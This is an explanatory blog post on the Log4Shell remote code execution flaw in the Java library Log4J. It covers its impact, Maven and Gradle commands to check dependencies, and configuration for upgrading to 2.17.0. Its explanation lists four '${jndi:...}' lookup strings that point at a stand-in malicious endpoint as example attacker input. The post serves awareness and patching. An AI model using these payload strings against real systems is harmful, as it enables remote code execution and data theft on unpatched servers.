On the 9th of December 2021, the world discovered a high severity security vulnerability in one of the most adopted and widely popular Java libraries called Log4J. It is even more surprising to hear that this vulnerability had existed from 2013 till today until it was publicized.
The reason why the world is panicking is due to the high severity of the vulnerability. This vulnerability falls under the category of remote code execution, and has been coined as Log4Shell. Log4Shell is categorized at a CVSS severity rating of 10.
What is the impact of the Log4Shell Vulnerability?
Log4J is one of the staple logging libraries of Java and since many other libraries use it as a dependency you would most likely be implicitly using Log4J in your enterprise solutions. From its time of discovery till now it has been estimated that over 840,000 attacks have been launched trying to exploit the Log4J vulnerability.
With this vulnerability, a malicious attacker can attempt to download and execute code from a remote URL and run it within the scope of the vulnerable JVM. This would allow the attacker to run commands on the victims’ infrastructure and can cause harm to it by running malicious operations. Such operations can range from running crypto miners on the compromised infrastructure to data exfiltration.
How can a Log4Shell exploit be carried out?
Log4J as one might know allows logging Java objects using template strings. As an example one might log a message as below.
During runtime the actual searchTerm variable is evaluated and included as a part of the log message. This may to look like a legitimate use of the log message.
However, where things can take a horrible twist is when the search text contains a remote URL to a naming directory. Log4J facilitates Java JNDI interface URLs and allows calling these URLs during a log message.
Let's take an example of how this vulnerability can take place. Imagine an attacker enters any one of the following as a search text.
- “${jndi:ldap://malicious.endpoint/}”
- “${jndi:rmi://malicious.endpoint/}”
- “${jndi:corba://malicious.endpoint/}”
- “${jndi:dns://malicious.endpoint/}”
Ideally, since there aren’t any search responses for any of the above inputs, it would try evaluating the warn log outlined above.
This would immediately trigger a call to the attackers endpoint and would return back the remote payload that the attacker wishes to pass to the victim. This payload will then be loaded on to the victim's JVM.
Another form of the attack would be to exploit available environment variables and attempt to expose them to third party providers.
As of 20/12/2021 in order to fix this issue, you should update the version of the Log4J to 2.17.0
How to determine if you're vulnerable?
Well, to figure this out you can make use of the commands below, depending on your build system, whether its Maven or Gradle.
In Maven you could check the output of the command below.
mvn dependency:tree -Dincludes=*log4j*In Gradle you could perform the same using the command below.
gradle -q dependencyInsight --dependency log4jHow to update and patch?
If you have noticed that you are using an earlier version of log4J, then update the version using the following configuration changes.
In your pom.xml you could update the log4j-bom package version.
<dependencyManagement>
<dependencies>
...
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-bom</artifactId>
<version>2.17.0</version>
<type>pom</type>
<scope>import</scope>
</dependency> ...
</dependencies>
</dependencyManagement>If you are using spring-boot-starter-log4j2, you can use the below configuration.
<properties>
<log4j2.version>2.17.0</log4j2.version>
</properties>In gradle.properties you could update the log4j2 version as below.
log4j2.version=2.17.0The severity of Log4Shell is critical, therefore awareness and proactive measures to update your ecosystem would help in avoiding any major catastrophes.